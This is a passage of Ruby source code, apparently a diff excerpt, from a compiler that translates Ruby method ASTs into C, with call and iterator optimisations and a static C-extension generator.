get_new_tmp_var("gvar_#{ast[1]}", want_value) - scope.statements << C::CExpression[tmp, :'=', ast_to_c(ast[2], scope)] - scope.statements << fcall('rb_gv_set', ast[1], tmp) - tmp - else - scope.statements << fcall('rb_gv_set', ast[1], ast_to_c(ast[2], scope)) - end - when :attrasgn # foo.bar= 42 (same as :call, except for return value) - recv = ast_to_c(ast[1], scope) - raise Fail, "unsupported #{ast.inspect}" if not ast[3] or ast[3][0] != :array - if ast[3].length != 2 - if ast[2] != '[]=' or ast[3].length != 3 - raise Fail, "unsupported #{ast.inspect}" - end - # foo[4] = 2 - idx = ast_to_c(ast[3][1], scope) - end - arg = ast_to_c(ast[3].last, scope) - if want_value - tmp = get_new_tmp_var('call', want_value) - scope.statements << C::CExpression[tmp, :'=', arg] - end - if idx - scope.statements << rb_funcall(recv, ast[2], idx, arg) - else - scope.statements << rb_funcall(recv, ast[2], arg) - end - tmp - - when :rb2cvar # hax, used in vararg parsing - get_var(ast[1]) - when :rb2cstmt - ast[1] - - when :block_arg - local(ast[3], fcall('rb_block_proc')) - - when :lit - case ast[1] - when Symbol - # XXX ID2SYM - C::CExpression[[rb_intern(ast[1].to_s), :<<, 8], :|, 0xe] - when Range - fcall('rb_range_new', ast[1].begin.object_id, ast[1].end.object_id, ast[1].exclude_end? ? 0 : 1) - else # true/false/nil/fixnum - ast[1].object_id - end - when :self - rb_self - when :str - fcall('rb_str_new2', ast[1]) - when :array - tmp = get_new_tmp_var('ary', want_value) - scope.statements << C::CExpression[tmp, :'=', fcall('rb_ary_new')] - ast[1..-1].each { |e| - scope.statements << fcall('rb_ary_push', tmp, ast_to_c(e, scope)) - } - tmp - when :hash - raise Fail, "bad #{ast.inspect}" if ast[1][0] != :array - tmp = get_new_tmp_var('hash', want_value) - scope.statements << C::CExpression[tmp, :'=', fcall('rb_hash_new')] - ki = nil - ast[1][1..-1].each { |k| - if not ki - ki = k - else - scope.statements << fcall('rb_hash_aset', tmp, ast_to_c(ki, scope), ast_to_c(k, scope)) - ki = nil - end - } - tmp - - when :iter - if v = optimize_iter(ast, scope, want_value) - return v - end - # for full support of :iter, we need access to the interpreter's ruby_block private global variable in eval.c - # we can find it by analysing rb_block_given_p, but this won't work with a static precompiled rubyhack... - # even with access to ruby_block, there we would need to redo PUSH_BLOCK, create a temporary dvar list, - # handle [:break, lol], and do all the stack magic reused in rb_yield (probably incl setjmp etc) - raise Fail, "unsupported iter #{ast[3].inspect} { | #{ast[1].inspect} | #{ast[2].inspect} }" - - when :call, :vcall, :fcall - if v = optimize_call(ast, scope, want_value) - return v - end - recv = ((ast[0] == :call) ? ast_to_c(ast[1], scope) : rb_self) - if not ast[3] - f = rb_funcall(recv, ast[2]) - elsif ast[3][0] == :array - args = ast[3][1..-1].map { |a| ast_to_c(a, scope) } - f = rb_funcall(recv, ast[2], *args) - elsif ast[3][0] == :splat - args = ast_to_c(ast[3], scope) - if not args.kind_of? C::Variable - tmp = get_new_tmp_var('args', want_value) - scope.statements << C::CExpression[tmp, :'=', args] - args = tmp - end - f = fcall('rb_funcall3', recv, rb_intern(ast[2]), rb_ary_len(args), rb_ary_ptr(args)) - # elsif ast[3][0] == :argscat - else - raise Fail, "unsupported #{ast.inspect}" - end - if want_value - tmp ||= get_new_tmp_var('call', want_value) - scope.statements << C::CExpression[tmp, :'=', f] - tmp - else - scope.statements << f - f - end - - when :if, :when - if ast[0] == :when and ast[1][0] == :array - cnd = nil - ast[1][1..-1].map { |cd| rb_test(ast_to_c(cd, scope), scope) }.each { |cd| - cnd = (cnd ? C::CExpression[cnd, :'||', cd] : cd) - } - else - cnd = rb_test(ast_to_c(ast[1], scope), scope) - end - - tbdy = C::Block.new(scope) - ebdy = C::Block.new(scope) if ast[3] or want_value - - if want_value - tmp = get_new_tmp_var('if', want_value) - thn = ast_to_c(ast[2], tbdy, tmp) - tbdy.statements << C::CExpression[tmp, :'=', thn] if tmp != thn - if ast[3] - els = ast_to_c(ast[3], ebdy, tmp) - else - # foo = if bar ; baz ; end => nil if !bar - els = rb_nil - end - ebdy.statements << C::CExpression[tmp, :'=', els] if tmp != els - else - ast_to_c(ast[2], tbdy, false) - ast_to_c(ast[3], ebdy, false) - end - - scope.statements << C::If.new(cnd, tbdy, ebdy) - - tmp - - when :while, :until - pib = @iter_break - @iter_break = nil # XXX foo = while ()... - - body = C::Block.new(scope) - if ast[3] == 0 # do .. while(); - ast_to_c(ast[2], body, false) - end - t = nil - e = C::Break.new - t, e = e, t if ast[0] == :until - body.statements << C::If.new(rb_test(ast_to_c(ast[1], body), body), t, e) - if ast[3] != 0 # do .. while(); - ast_to_c(ast[2], body, false) - end - scope.statements << C::For.new(nil, nil, nil, body) - - @iter_break = pib - nil.object_id - - when :and, :or, :not - # beware lazy evaluation ! - tmp = get_new_tmp_var('and', want_value) - v1 = ast_to_c(ast[1], scope, tmp) - # and/or need that tmp has the actual v1 value (returned when shortcircuit) - scope.statements << C::CExpression[tmp, :'=', v1] if v1 != tmp - v1 = tmp - case ast[0] - when :and - t = C::Block.new(scope) - v2 = ast_to_c(ast[2], t, tmp) - t.statements << C::CExpression[tmp, :'=', v2] if v2 != tmp - when :or - e = C::Block.new(scope) - v2 = ast_to_c(ast[2], e, tmp) - e.statements << C::CExpression[tmp, :'=', v2] if v2 != tmp - when :not - t = C::CExpression[tmp, :'=', rb_false] - e = C::CExpression[tmp, :'=', rb_true] - end - scope.statements << C::If.new(rb_test(v1, scope), t, e) - tmp - when :return - scope.statements << C::Return.new(ast_to_c(ast[1], scope)) - nil.object_id - when :break - if @iter_break - v = (ast[1] ? ast_to_c(ast[1], scope, @iter_break) : nil.object_id) - scope.statements << C::CExpression[@iter_break, :'=', [[v], value]] if @iter_break != v - end - scope.statements << C::Break.new - nil.object_id - - when nil, :args - nil.object_id - when :nil - rb_nil - when :false - rb_false - when :true - rb_true - when :const - rb_const(ast[1]) - when :colon2 - if cst = check_const(ast[1]) - rb_const(ast[2], cst) - else - fcall('rb_const_get', ast_to_c(ast[1], scope), rb_intern(ast[2])) - end - when :colon3 - rb_const(ast[1], ::Object) - when :defined - case ast[1][0] - when :ivar - fcall('rb_ivar_defined', rb_self, rb_intern(ast[1][1])) - else - raise Fail, "unsupported #{ast.inspect}" - end - when :masgn - # parallel assignment: put everything in an Array, then pop everything back? - rb_masgn(ast, scope, want_value) - - when :evstr - fcall('rb_obj_as_string', ast_to_c(ast[1], scope)) - when :dot2, :dot3 - fcall('rb_range_new', ast_to_c(ast[1], scope), ast_to_c(ast[2], scope), ast[0] == :dot2 ? 0 : 1) - when :splat - fcall('rb_Array', ast_to_c(ast[1], scope)) - when :to_ary - fcall('rb_ary_to_ary', ast_to_c(ast[1], scope)) - when :dstr - # dynamic string: "foo#{bar}baz" - tmp = get_new_tmp_var('dstr') - scope.statements << C::CExpression[tmp, :'=', fcall('rb_str_new2', ast[1][1])] - ast[2..-1].compact.each { |s| - if s[0] == :str # directly append the char* - scope.statements << fcall('rb_str_cat2', tmp, s[1]) - else - scope.statements << fcall('rb_str_append', tmp, ast_to_c(s, scope)) - end - } - tmp - when :case - compile_case(ast, scope, want_value) - when :ensure - # TODO - ret = ast_to_c(ast[1], scope, want_value) - ast_to_c(ast[3], scope, false) - ret - else - raise Fail, "unsupported #{ast.inspect}" - end - - if want_value - ret = C::CExpression[[ret], value] if ret.kind_of? Integer or ret.kind_of? String - ret - end - end - - # optional optimization of a call (eg a == 1, c+2, ...) - # return nil for normal rb_funcall, or a C::CExpr to use as retval. - def optimize_call(ast, scope, want_value) - ce = C::CExpression - op = ast[2] - int = C::BaseType.new(:ptr) # signed VALUE - args = ast[3][1..-1] if ast[3] and ast[3][0] == :array - arg0 = args[0] if args and args[0] - - if arg0 and arg0[0] == :lit and arg0[1].kind_of?(Fixnum) and %w[== > < >= <= + -].include?(op) - # TODO or @optim_hint[ast[1]] == 'fixnum' - # optimize 'x==42', 'x+42', 'x-42' - o2 = arg0[1] - if o2 < 0 and ['+', '-'].include? op - # need o2 >= 0 for overflow detection - op = {'+' => '-', '-' => '+'}[op] - o2 = -o2 - return if not o2.kind_of? Fixnum # -0x40000000 - end - - int_v = o2.object_id - recv = ast_to_c(ast[1], scope) - tmp = get_new_tmp_var('opt', want_value) - if not recv.kind_of? C::Variable - scope.statements << ce[tmp, :'=', recv] - recv = tmp - end - - case op - when '==' - # XXX assume == only return true for full equality: if not Fixnum, then always false - # which breaks 1.0 == 1 and maybe others, but its ok - scope.statements << C::If.new(ce[recv, :'==', [int_v]], ce[tmp, :'=', rb_true], ce[tmp, :'=', rb_false]) - when '>', '<', '>=', '<=' - # do the actual comparison on signed >>1 if both Fixnum - t = C::If.new( - ce[[[[recv], int], :>>, [1]], op.to_sym, [[[int_v], int], :>>, [1]]], - ce[tmp, :'=', rb_true], - ce[tmp, :'=', rb_false]) - # fallback to actual rb_funcall - e = ce[tmp, :'=', rb_funcall(recv, op, o2.object_id)] - add_optimized_statement scope, ast[1], recv, 'fixnum' => t, 'other' => e - when '+' - e = ce[recv, :+, [int_v-1]] # overflow to Bignum ? - cnd = ce[[recv, :&, [1]], :'&&', [[[recv], int], :<, [[e], int]]] - t = ce[tmp, :'=', e] - e = ce[tmp, :'=', rb_funcall(recv, op, o2.object_id)] - if @optim_hint[ast[1]] == 'fixnum' - # add_optimized_statement wont handle the overflow check correctly - scope.statements << t - else - scope.statements << C::If.new(cnd, t, e) - end - when '-' - e = ce[recv, :-, [int_v-1]] - cnd = ce[[recv, :&, [1]], :'&&', [[[recv], int], :>, [[e], int]]] - t = ce[tmp, :'=', e] - e = ce[tmp, :'=', rb_funcall(recv, op, o2.object_id)] - if @optim_hint[ast[1]] == 'fixnum' - scope.statements << t - else - scope.statements << C::If.new(cnd, t, e) - end - end - tmp - - # Symbol#== - elsif arg0 and arg0[0] == :lit and arg0[1].kind_of? Symbol and op == '==' - s_v = ast_to_c(arg0, scope) - tmp = get_new_tmp_var('opt', want_value) - recv = ast_to_c(ast[1], scope, tmp) - if not recv.kind_of? C::Variable - scope.statements << ce[tmp, :'=', recv] - recv = tmp - end - - scope.statements << C::If.new(ce[recv, :'==', [s_v]], ce[tmp, :'=', rb_true], ce[tmp, :'=', rb_false]) - tmp - - elsif arg0 and op == '<<' - tmp = get_new_tmp_var('opt', want_value) - recv = ast_to_c(ast[1], scope, tmp) - arg = ast_to_c(arg0, scope) - if recv != tmp - scope.statements << ce[tmp, :'=', recv] - recv = tmp - end - - ar = fcall('rb_ary_push', recv, arg) - st = fcall('rb_str_concat', recv, arg) - oth = rb_funcall(recv, op, arg) - oth = ce[tmp, :'=', oth] if want_value - - add_optimized_statement scope, ast[1], recv, 'ary' => ar, 'string' => st, 'other' => oth - tmp - - elsif arg0 and args.length == 1 and op == '[]' - return if ast[1][0] == :const # Expression[42] - tmp = get_new_tmp_var('opt', want_value) - recv = ast_to_c(ast[1], scope, tmp) - if not recv.kind_of? C::Variable - scope.statements << ce[tmp, :'=', recv] - recv = tmp - end - - idx = get_new_tmp_var('idx') - arg = ast_to_c(arg0, scope, idx) - if not arg.kind_of? C::Variable - scope.statements << ce[idx, :'=', arg] - arg = idx - end - idx = ce[[idx], int] - - ar = C::Block.new(scope) - ar.statements << ce[idx, :'=', [[[arg], int], :>>, [1]]] - ar.statements << C::If.new(ce[idx, :<, [0]], ce[idx, :'=', [idx, :+, rb_ary_len(recv)]], nil) - ar.statements << C::If.new(ce[[idx, :<, [0]], :'||', [idx, :>=, [[rb_ary_len(recv)], int]]], - ce[tmp, :'=', rb_nil], - ce[tmp, :'=', rb_ary_ptr(recv, idx)]) - st = C::Block.new(scope) - st.statements << ce[idx, :'=', [[[arg], int], :>>, [1]]] - st.statements << C::If.new(ce[idx, :<, [0]], ce[idx, :'=', [idx, :+, rb_str_len(recv)]], nil) - st.statements << C::If.new(ce[[idx, :<, [0]], :'||', [idx, :>=, [[rb_str_len(recv)], int]]], - ce[tmp, :'=', rb_nil], - ce[tmp, :'=', [[[[rb_str_ptr(recv, idx), :&, [0xff]], :<<, [1]], :|, [1]], value]]) - hsh = ce[tmp, :'=', fcall('rb_hash_aref', recv, arg)] - oth = ce[tmp, :'=', rb_funcall(recv, op, arg)] - - # ary/string only valid with fixnum argument ! - add_optimized_statement scope, ast[1], recv, 'hash' => hsh, 'other' => oth, - 'ary_bnd' => ce[tmp, :'=', rb_ary_ptr(recv, ce[[[arg], int], :>>, [1]])], - ce[[arg, :&, 1], :'&&', rb_test_class_ary(recv)] => ar, - ce[[arg, :&, 1], :'&&', rb_test_class_string(recv)] => st - tmp - - elsif ast[1] and not arg0 and op == 'empty?' - tmp = get_new_tmp_var('opt', want_value) - recv = ast_to_c(ast[1], scope, tmp) - if not recv.kind_of? C::Variable - scope.statements << ce[tmp, :'=', recv] - recv = tmp - end - - ar = C::If.new(rb_ary_len(recv), ce[tmp, :'=', rb_false], ce[tmp, :'=', rb_true]) - - add_optimized_statement scope, ast[1], recv, 'ary' => ar, - 'other' => ce[tmp, :'=', rb_funcall(recv, op)] - tmp - - elsif ast[1] and not arg0 and op == 'pop' - tmp = get_new_tmp_var('opt', want_value) - recv = ast_to_c(ast[1], scope, tmp) - if not recv.kind_of? C::Variable - scope.statements << ce[tmp, :'=', recv] - recv = tmp - end - - t = fcall('rb_ary_pop', recv) - e = rb_funcall(recv, op) - if want_value - t = ce[tmp, :'=', t] - e = ce[tmp, :'=', e] - end - - add_optimized_statement scope, ast[1], recv, 'ary' => t, 'other' => e - - tmp - - elsif ast[1] and op == 'kind_of?' and arg0 and (arg0[0] == :const or arg0[0] == :colon3) - # TODO check const maps to toplevel when :const - test = - case arg0[1] - when 'Symbol' - tmp = get_new_tmp_var('kindof', want_value) - ce[[ast_to_c(ast[1], scope, tmp), :'&', [0xf]], :'==', [0xe]] - #when 'Numeric', 'Integer' - when 'Fixnum' - tmp = get_new_tmp_var('kindof', want_value) - ce[ast_to_c(ast[1], scope, tmp), :'&', [0x1]] - when 'Array' - rb_test_class_ary(ast_to_c(ast[1], scope)) - when 'String' - rb_test_class_string(ast_to_c(ast[1], scope)) - else return - end -puts "shortcut may be incorrect for #{ast.inspect}" if arg0[0] == :const - tmp ||= get_new_tmp_var('kindof', want_value) - scope.statements << C::If.new(test, ce[tmp, :'=', rb_true], ce[tmp, :'=', rb_false]) - tmp - - elsif not ast[1] or ast[1] == [:self] - optimize_call_static(ast, scope, want_value) - end - end - - # check if the var falls in an optim_hint, if so generate only selected code - # optim is a hash varclass (keyof @optim_hint) => c_stmt - # optim key can also be a C::Stmt that is used in the If clause - # if optim['ary'] == optim['ary_bnd'], you can omit the latter - # must have an 'other' key that is calls the generic ruby method - def add_optimized_statement(scope, varid, varc, optim={}) - cat = @optim_hint[varid] - cat = 'ary' if cat == 'ary_bnd' and not optim['ary_bnd'] - if not st = optim[cat] - st = optim['other'] - if not cat and optim.keys.all? { |k| k.kind_of? String } - # no need to cascade if we have a hash and can optim ary only - optim.each { |i, s| - case i - when 'ary'; st = C::If.new(rb_test_class_ary(varc), s, st) - when 'hash'; st = C::If.new(rb_test_class_hash(varc), s, st) - when 'string'; st = C::If.new(rb_test_class_string(varc), s, st) - when 'other'; # already done as default case - when 'fixnum'; # add test last - when C::Statement; st = C::If.new(i, s, st) - end - } - if fs = optim['fixnum'] - # first test to perform (fast path) - st = C::If.new(C::CExpression[varc, :&, 1], fs, st) - end - end - end - scope.statements << st - end - - # return ptr, arity - # ptr is a CExpr pointing to the C func implementing klass#method - def get_cfuncptr(klass, method, singleton=false) - cls = singleton ? (class << klass ; self ; end) : klass - ptr = RubyHack.get_method_node_ptr(cls, method) - return if ptr == 0 - ftype = RubyHack::NODETYPE[(RubyHack.memory_read_int(ptr) >> 11) & 0xff] - return if ftype != :cfunc - fast = RubyHack.read_node(ptr) - arity = fast[1][:arity] - fptr = fast[1][:fptr] - - fproto = C::Function.new(value, []) - case arity - when -1; fproto.args << C::Variable.new(nil, C::BaseType.new(:int)) << C::Variable.new(nil, C::Pointer.new(value)) << C::Variable.new(nil, value) - when -2; fproto.args << C::Variable.new(nil, value) << C::Variable.new(nil, value) - else (arity+1).times { fproto.args << C::Variable.new(nil, value) } - end - - C::CExpression[[fptr], C::Pointer.new(fproto)] - end - - # call C funcs directly - # assume private function calls are not virtual and hardlink them here - def optimize_call_static(ast, scope, want_value) - arity = method_arity(ast[2]) rescue return - if ast[2].to_s == @meth.to_s - # self is recursive - fptr = @cur_cfunc - else - fptr = get_cfuncptr(@klass, ast[2], @meth_singleton) - return if not fptr - end - - c_arglist = [] - - if not ast[3] - args = [] - elsif ast[3][0] == :array - args = ast[3][1..-1] - elsif ast[3][0] == :splat - args = ast_to_c(ast[3], scope) - if arity != -2 and !args.kind_of?(C::Variable) - tmp = get_new_tmp_var('arg') - scope.statements << C::CExpression[tmp, :'=', args] - args = tmp - end - case arity - when -2 - c_arglist << rb_self << args - when -1 - c_arglist << [rb_ary_len(args)] << rb_ary_ptr(args) << rb_self - else - cnd = C::CExpression[rb_ary_len(args), :'!=', [arity]] - scope.statements << C::If.new(cnd, rb_raise("#{arity} args expected", 'rb_eArgumentError'), nil) - - c_arglist << rb_self - arity.times { |i| c_arglist << rb_ary_ptr(args, i) } - end - arity = :canttouchthis - else return # TODO - end - - case arity - when :canttouchthis - when -2 - arg = get_new_tmp_var('arg') - scope.statements << C::CExpression[arg, :'=', fcall('rb_ary_new')] - args.each { |a| - scope.statements << fcall('rb_ary_push', arg, ast_to_c(a, scope)) - } - c_arglist << rb_self << arg - - when -1 - case args.length - when 0 - argv = C::CExpression[[0], C::Pointer.new(value)] - when 1 - val = ast_to_c(args[0], scope) - if not val.kind_of? C::Variable - argv = get_new_tmp_var('argv') - scope.statements << C::CExpression[argv, :'=', val] - val = argv - end - argv = C::CExpression[:'&', val] - else - argv = get_new_tmp_var('argv') - argv.type = C::Array.new(value, args.length) - args.each_with_index { |a, i| - val = ast_to_c(a, scope) - scope.statements << C::CExpression[[argv, :'[]', [i]], :'=', val] - } - end - c_arglist << [args.length] << argv << rb_self - - else - c_arglist << rb_self - args.each { |a| - va = get_new_tmp_var('arg') - val = ast_to_c(a, scope, va) - scope.statements << C::CExpression[va, :'=', val] if val != va - c_arglist << va - } - end - - f = C::CExpression[fptr, :funcall, c_arglist] - if want_value - ret = get_new_tmp_var('ccall', want_value) - scope.statements << C::CExpression[ret, :'=', f] - ret - else - scope.statements << f - end - end - - def optimize_iter(ast, scope, want_value) - b_args, b_body, b_recv = ast[1, 3] - - old_ib = @iter_break - if want_value - # a new tmpvar, so we can overwrite it in 'break :foo' - @iter_break = get_new_tmp_var('iterbreak') - else - @iter_break = nil - end - - if b_recv[0] == :call and b_recv[2] == 'reverse_each' - # convert ary.reverse_each to ary.reverse.each - b_recv = b_recv.dup - b_recv[1] = [:call, b_recv[1], 'reverse'] - b_recv[2] = 'each' - elsif b_recv[0] == :call and b_recv[2] == 'each_key' - # convert hash.each_key to hash.keys.each - b_recv = b_recv.dup - b_recv[1] = [:call, b_recv[1], 'keys'] - b_recv[2] = 'each' - end - - # loop { } - if b_recv[0] == :fcall and b_recv[2] == 'loop' - body = C::Block.new(scope) - ast_to_c(b_body, body, false) - scope.statements << C::For.new(nil, nil, nil, body) - - # int.times { |i| } - elsif b_recv[0] == :call and not b_recv[3] and b_recv[2] == 'times' - limit = get_new_tmp_var('limit') - recv = ast_to_c(b_recv[1], scope, limit) - scope.statements << C::If.new(C::CExpression[:'!', [recv, :&, 1]], rb_raise('only Fixnum#times handled'), nil) - if want_value - scope.statements << C::CExpression[@iter_break, :'=', recv] - end - scope.statements << C::CExpression[limit, :'=', [recv, :>>, 1]] - cntr = get_new_tmp_var('cntr') - cntr.type = C::BaseType.new(:int, :unsigned) - body = C::Block.new(scope) - if b_args and b_args[0] == :dasgn_curr - body.statements << C::CExpression[dvar(b_args[1]), :'=', [[cntr, :<<, 1], :|, 1]] - end - ast_to_c(b_body, body, false) - scope.statements << C::For.new(C::CExpression[cntr, :'=', [[0], cntr.type]], C::CExpression[cntr, :<, limit], C::CExpression[:'++', cntr], body) - - # ary.each { |e| } - elsif b_recv[0] == :call and not b_recv[3] and b_recv[2] == 'each' and b_args and - b_args[0] == :dasgn_curr - ary = get_new_tmp_var('ary') - recv = ast_to_c(b_recv[1], scope, ary) - scope.statements << C::CExpression[ary, :'=', recv] if ary != recv - scope.statements << C::If.new(rb_test_class_ary(ary), nil, rb_raise('only Array#each { |e| } handled')) - if want_value - scope.statements << C::CExpression[@iter_break, :'=', ary] - end - cntr = get_new_tmp_var('cntr') - cntr.type = C::BaseType.new(:int, :unsigned) - body = C::Block.new(scope) - if b_args and b_args[0] == :dasgn_curr - body.statements << C::CExpression[dvar(b_args[1]), :'=', [rb_ary_ptr(ary), :'[]', [cntr]]] - end - ast_to_c(b_body, body, false) - scope.statements << C::For.new(C::CExpression[cntr, :'=', [[0], cntr.type]], C::CExpression[cntr, :<, rb_ary_len(ary)], C::CExpression[:'++', cntr], body) - - # ary.find { |e| } - elsif b_recv[0] == :call and not b_recv[3] and b_recv[2] == 'find' and b_args and - b_args[0] == :dasgn_curr - ary = get_new_tmp_var('ary') - recv = ast_to_c(b_recv[1], scope, ary) - scope.statements << C::CExpression[ary, :'=', recv] if ary != recv - scope.statements << C::If.new(rb_test_class_ary(ary), nil, rb_raise('only Array#find { |e| } handled')) - if want_value - scope.statements << C::CExpression[@iter_break, :'=', rb_nil] - end - cntr = get_new_tmp_var('cntr') - cntr.type = C::BaseType.new(:int, :unsigned) - body = C::Block.new(scope) - if b_args and b_args[0] == :dasgn_curr - body.statements << C::CExpression[dvar(b_args[1]), :'=', [rb_ary_ptr(ary), :'[]', [cntr]]] - end - # same as #each up to this point (except default retval), now add a 'if (body_value) break ary[cntr];' - # XXX 'find { next true }' - - found = ast_to_c(b_body, body) - t = C::Block.new(body) - t.statements << C::CExpression[@iter_break, :'=', rb_ary_ptr(ary, cntr)] - t.statements << C::Break.new - body.statements << C::If.new(rb_test(found, body), t, nil) - - scope.statements << C::For.new(C::CExpression[cntr, :'=', [[0], cntr.type]], C::CExpression[cntr, :<, rb_ary_len(ary)], C::CExpression[:'++', cntr], body) - - # ary.map { |e| } - elsif b_recv[0] == :call and not b_recv[3] and b_recv[2] == 'map' and b_args and - b_args[0] == :dasgn_curr - ary = get_new_tmp_var('ary') - recv = ast_to_c(b_recv[1], scope, ary) - scope.statements << C::CExpression[ary, :'=', recv] if ary != recv - scope.statements << C::If.new(rb_test_class_ary(ary), nil, rb_raise('only Array#map { |e| } handled')) - if want_value - scope.statements << C::CExpression[@iter_break, :'=', fcall('rb_ary_new')] - end - cntr = get_new_tmp_var('cntr') - cntr.type = C::BaseType.new(:int, :unsigned) - body = C::Block.new(scope) - if b_args and b_args[0] == :dasgn_curr - body.statements << C::CExpression[dvar(b_args[1]), :'=', [rb_ary_ptr(ary), :'[]', [cntr]]] - end - # same as #each up to this point (except default retval), now add a '@iter_break << body_value' - # XXX 'next' unhandled - - val = ast_to_c(b_body, body) - body.statements << fcall('rb_ary_push', @iter_break, val) - - scope.statements << C::For.new(C::CExpression[cntr, :'=', [[0], cntr.type]], C::CExpression[cntr, :<, rb_ary_len(ary)], C::CExpression[:'++', cntr], body) - - else - @iter_break = old_ib - return - end - - ret = @iter_break - @iter_break = old_ib - ret || nil.object_id - end -end - -# a ruby2c C generator for use in the any ruby interpreter (generates C suitable for use as a standard Ruby extension) -class RubyStaticCompiler < RubyLiveCompiler - # add a new ruby function to the current @cp - def self.compile(klass, *methlist) - @rcp ||= new - methlist.each { |meth| - ast = RubyHack.read_method_ast(klass, meth) - @rcp.compile(ast, klass, meth) - } - self - end - - def self.compile_singleton(klass, *methlist) - @rcp ||= new - methlist.each { |meth| - ast = RubyHack.read_singleton_method_ast(klass, meth) - @rcp.compile(ast, klass, meth, true) - } - self - end - - def self.dump - <<EOS + @rcp.cp.dump_definition('Init_compiledruby') -#ifdef __ELF__ -asm .pt_gnu_stack rw; -#endif -EOS - end - - def dump(m="Init_compiledruby") - m ? @cp.dump_definition(m, 'do_init_once') : @cp.to_s - end - - def initialize(cp=nil) - super(cp) - - @cp.parse <<EOS -// static VALUE method(VALUE self, VALUE arg0, VALUE arg1) { return (VALUE)0; } -// static VALUE const_Lol; -static void do_init_once(void) { - // const_Lol = rb_const_get(*rb_cObject, rb_intern("Lol")); - // rb_define_method(const_Lol, "method", method, 2); -} - -int Init_compiledruby(void) __attribute__((export)) { - // use a separate func to avoid having to append statements before the 'return' - do_init_once(); - return 0; -} -EOS - end - - # returns the 'do_init_once' function body - def init - @cp.toplevel.symbol['do_init_once'].initializer - end - - def compile(ast, klass, method, singleton=false) - @compiled_func_cache ||= {} - - mname = super(ast, klass, method, singleton) - return if not mname - - @compiled_func_cache[[klass, method.to_s, singleton]] = @cur_cfunc - - cls = rb_const(nil, klass) - - init.statements << fcall("rb_define#{'_singleton' if singleton}_method", cls, method.to_s, @cur_cfunc, method_arity) - - mname - end - - def declare_newtopvar(name, initializer, type=value) - v = C::Variable.new(name, type) - v.storage = :static - @cp.toplevel.symbol[v.name] = v - pos = @cp.toplevel.statements.index @cp.toplevel.statements.find { |st| - st.kind_of? C::Declaration and st.var.type.kind_of? C::Function and st.var.initializer - } || -1 - @cp.toplevel.statements.insert pos, C::Declaration.new(v) - - if initializer - pos = -1 - if name =~ /^intern_/ - pos = 0 - init.statements.each { |st| - break unless st.kind_of? C::CExpression and st.op == :'=' and st.lexpr.kind_of? C::Variable and st.lexpr.name < name - pos += 1 - } - end - init.statements.insert(pos, C::CExpression[v, :'=', initializer]) - end - - v - end - - def rb_intern(sym) - n = escape_varname("intern_#{sym}") - @cp.toplevel.symbol[n] || declare_newtopvar(n, fcall('rb_intern', sym.to_s), C::BaseType.new(:int, :unsigned)) - end - - # rb_const 'FOO', Bar::Baz ==> - # const_Bar = rb_const_get(rb_cObject, rb_intern("Bar")); - # const_Bar_Baz = rb_const_get(const_Bar, rb_intern("Baz")); - # const_Bar_Baz_FOO = rb_const_get(const_Bar_Baz, rb_intern("FOO")); - # use rb_const(nil, class) to get a pointer to a class/module - def rb_const(constname, owner = resolve_const_owner(constname)) - raise Fail, "no dynamic constant resolution #{constname}" if not owner - - @const_value ||= { [::Object, 'Object'] => rb_global('rb_cObject') } - - k = ::Object - v = nil - cname = owner.name - cname += '::' + constname if constname - cname.split('::').each { |n| - kk = k.const_get(n) - if not v = @const_value[[k, n]] - # class A ; end ; B = A => B.name => 'A' - vn = "const_#{escape_varname((k.name + '::' + n).sub(/^Object::/, '').gsub('::', '_'))}" - vi = fcall('rb_const_get', rb_const(nil, k), fcall('rb_intern', n)) - v = declare_newtopvar(vn, vi) - # n wont be reused, so do not alloc a global intern_#{n} for this - @const_value[[k, n]] = v - end - k = kk - } - v - end - - # TODO remove this when the C compiler is fixed - def rb_global(cname) - C::CExpression[:*, @cp.toplevel.symbol[cname]] - end - - def get_cfuncptr(klass, method, singleton=false) - # is it a func we have in the current cparser ? - if ptr = @compiled_func_cache[[klass, method.to_s, singleton]] - return ptr - end - - # check if it's a C or ruby func in the current interpreter - cls = singleton ? (class << klass ; self ; end) : klass - ptr = RubyHack.get_method_node_ptr(cls, method) - return if ptr == 0 - ftype = RubyHack::NODETYPE[(RubyHack.memory_read_int(ptr) >> 11) & 0xff] - return if ftype != :cfunc - - # ok, so assume it will be the same next time - n = escape_varname "fptr_#{klass.name}#{singleton ? '.' : '#'}#{method}".gsub('::', '_') - if not v = @cp.toplevel.symbol[n] - v = get_cfuncptr_dyn(klass, method, singleton, n) - end - - v - end - - def get_cfuncptr_dyn(klass, method, singleton, n) - arity = singleton ? klass.method(method).arity : klass.instance_method(method).arity - fproto = C::Function.new(value, []) - case arity - when -1; fproto.args << C::Variable.new(nil, C::BaseType.new(:int)) << C::Variable.new(nil, C::Pointer.new(value)) << C::Variable.new(nil, value) - when -2; fproto.args << C::Variable.new(nil, value) << C::Variable.new(nil, value) - else (arity+1).times { fproto.args << C::Variable.new(nil, value) } - end - - if not ptr = init.symbol['ptr'] - ptr = C::Variable.new('ptr', C::Pointer.new(C::BaseType.new(:int))) - init.symbol[ptr.name] = ptr - init.statements << C::Declaration.new(ptr) - end - - cls = rb_const(nil, klass) - cls = fcall('rb_singleton_class', cls) if singleton - init.statements << C::CExpression[ptr, :'=', fcall('rb_method_node', cls, rb_intern(method))] - - # dynamically recheck that klass#method is a :cfunc - cnd = C::CExpression[[:'!', ptr], :'||', [[[[ptr, :'[]', [0]], :>>, [11]], :&, [0xff]], :'!=', [RubyHack::NODETYPE.index(:cfunc)]]] - init.statements << C::If.new(cnd, rb_raise("CFunc expected at #{klass}#{singleton ? '.' : '#'}#{method}"), nil) - - vi = C::CExpression[[ptr, :'[]', [1]], C::Pointer.new(fproto)] - declare_newtopvar(n, vi, C::Pointer.new(fproto)) - end - - if defined? $trace_rbfuncall and $trace_rbfuncall - # dynamic trace of all rb_funcall made from our module - def rb_funcall(recv, meth, *args) - if not defined? @rb_fcid - @cp.parse <<EOS -int atexit(void(*)(void)); -int printf(char*, ...); - -static unsigned rb_fcid_max = 1; -static unsigned rb_fcntr[1]; - -static void rb_fcstat(void) -{ - unsigned i; - for (i=0 ; i<rb_fcid_max ; ++i) - if (rb_fcntr[i]) - printf("%u %u\\n", i, rb_fcntr[i]); -} -EOS - @rb_fcid = -1 - @rb_fcntr = @cp.toplevel.symbol['rb_fcntr'] - @rb_fcid_max = @cp.toplevel.symbol['rb_fcid_max'] - init.statements << fcall('atexit', @cp.toplevel.symbol['rb_fcstat']) - end - @rb_fcid += 1 - @rb_fcid_max.initializer = C::CExpression[[@rb_fcid+1], @rb_fcid_max.type] - @rb_fcntr.type.length = @rb_fcid+1 - - 